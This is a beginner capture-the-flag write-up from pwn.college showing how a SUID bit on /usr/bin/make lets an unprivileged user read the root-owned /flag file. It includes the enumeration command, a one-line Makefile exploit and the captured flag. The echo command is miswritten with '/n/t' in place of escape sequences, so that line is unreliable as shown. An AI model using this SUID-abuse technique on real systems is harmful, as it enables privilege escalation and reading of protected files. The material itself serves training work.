Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/make, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/make

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/make

-The s in -rws indicates it’s a SUID binary. -make runs with root privileges.

🚀 Exploitation

The make command in Linux is a build automation tool — it’s mostly used to compile and build projects, especially those written in C, C++, or other compiled languages.

So we can easily use Makefile to cat /flag:

echo -e "all:/n/tcat /flag" > Makefile
make

Output:

cat /flag
pwn.college{sbiUEz2GPn-cyCe8SVy0ruAD8to.dhjNxwSM0IzMyEzW}